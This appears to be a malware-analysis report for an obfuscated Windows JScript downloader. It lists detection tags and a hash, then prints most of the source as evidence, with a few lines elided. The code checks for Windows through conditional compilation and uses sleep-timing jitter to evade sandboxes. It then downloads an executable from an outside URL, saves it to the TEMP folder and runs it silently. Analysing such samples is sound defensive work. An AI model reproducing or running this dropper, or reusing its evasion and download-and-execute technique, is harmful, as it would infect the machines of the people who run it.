20160328_2d3a5596b2f7e2d51747d97235758439.js
Downloads and executes remote payload
JScript conditional sleep jitter evasionWScript bracket-member access in source text
SHA-2567a73cf84913dbc381e2eb99112716cada8dbe8c87d21dbb59da2ec76bf4c9929
Evidence
1var Mkvxriu = false;
2var Xmecumbzko = "CreateObject";
3var Junfx = function Mhdvtbjdkp() {return WScript[Xmecumbzko]("WScript.Shell");}();
4var Rgldmaah = 123213;
5var Kuynonp = "MSXML2.XMLHTTP";
6var Jrtdcm = 2123213;
7var Ldupbyaet = 0;
8function Vaxbdtuyzn(Iwgqedgiw){Junfx["Run"](Iwgqedgiw, Ldupbyaet, Ldupbyaet);};
9function Vzxmhqjgnu(){return Kuynonp;};
10function Tvzejevai(Ricxezaga, Iltftokzg){return Ricxezaga - Iltftokzg;};
11function Pimeta(){return Xmecumbzko;};
12/*@cc_on
13 @if (@_win32 || @_win64)
14 Mkvxriu = true;
15 @end
16@*/
17var Qgywcl = "";
18if (Mkvxriu)
19{
20function Srywpvy(){return 22;};
21var Nboidaco = 0; var Dhhcjvmt = 0;
22function Ybishyvcqt()
23{
24var Ipbdzzl = new this["Date"]();
25var Pndkrvd = Ipbdzzl["getUTCMilliseconds"]();
26WScript["Sleep"](Srywpvy());
27var Ipbdzzl = new this["Date"]();
28var Yheivoqhde = Ipbdzzl["getUTCMilliseconds"]();
29WScript["Sleep"](Srywpvy());
30var Ipbdzzl = new this["Date"]();
31var Qjxysqmfli = Ipbdzzl["getUTCMilliseconds"]();
32var Nboidaco = "Cpsfzygbkw";
33Nboidaco = Tvzejevai(Yheivoqhde, Pndkrvd);
34var Dhhcjvmt = "Cuivgtz";
35Dhhcjvmt = Tvzejevai(Qjxysqmfli, Yheivoqhde);
36Qgywcl = "open";
37return Tvzejevai(Nboidaco, Dhhcjvmt);
38}
39var Sjtuese = false;
40var Hmedxfaeya = false;
41for (var Axjltbjy = Ldupbyaet; Axjltbjy < Srywpvy() * 1; Axjltbjy++){if (Ybishyvcqt() != Ldupbyaet){
…
49:4… (Sjtuese && Qoaen() && Hmedxfaeya){
50function Jqfapqg() {return Junfx["ExpandEnvironmentStrings"]("%TEMP%/") + "lzf9TW5LriDf.exe";};
51 Flzektj = Vzxmhqjgnu();
52 Urindq = WScript[Xmecumbzko](Flzektj);
53 var Erzdlfidwb = 1;
54 while (Erzdlfidwb){
55try {
56Urindq[Qgywcl]("GET", "http://2biking.com/k4isfa", false);
57Urindq["send"]();
58Bpkkz = "Sleep";
59do {WScript[Bpkkz](Srywpvy() * 11)} while (Urindq["readystate"] < 4 );
60Erzdlfidwb = Ldupbyaet;
61} catch(Ishyha){Erzdlfidwb = ("asdfa", "fadfasdf", "afdafa", 2);};
62}
63function Iliwzk(Cjqvd) {var Nzejux = (1, 2, 3, 4, 5, Cjqvd); return Nzejux;};
64Uszrwq = WScript[Pimeta()]("ADODB.Stream");
65Flzektj = Uszrwq;
66Flzektj[Qgywcl]();
67Flzektj["type"] = Iliwzk(1);
68Flzektj["write"](Urindq["ResponseBody"]);
69Uszrwq["position"] = Iliwzk(Ldupbyaet);
70Flzektj["SaveToFile"](Jqfapqg(), Iliwzk(2) );
71Uszrwq["close"]();
72Vaxbdtuyzn(Jqfapqg());
73}
74}
75